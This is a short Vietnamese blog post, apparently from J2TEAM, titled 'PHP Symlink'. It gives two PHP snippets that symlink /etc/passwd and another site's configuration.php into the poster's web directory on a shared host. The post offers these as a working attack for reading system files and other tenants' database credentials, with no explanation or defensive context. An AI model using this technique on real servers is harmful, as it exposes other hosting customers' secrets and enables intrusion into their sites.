J2TEAM Security: A must-have extension for Chrome users. Install now!

PHP Symlink

<?php
$target = '/etc/passwd';
$link = '/home/YOURPATH/site/etc_passwd.txt';
symlink($target, $link);
?>


<?php
$target = '/home/PATHOFOTHERSITE/site/configuration.php';
$link = '/home/YOURPATH/site/first_site_configuration.txt';
symlink($target, $link);
?>
Leader at J2TEAM. Website: https://j2team.dev/

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!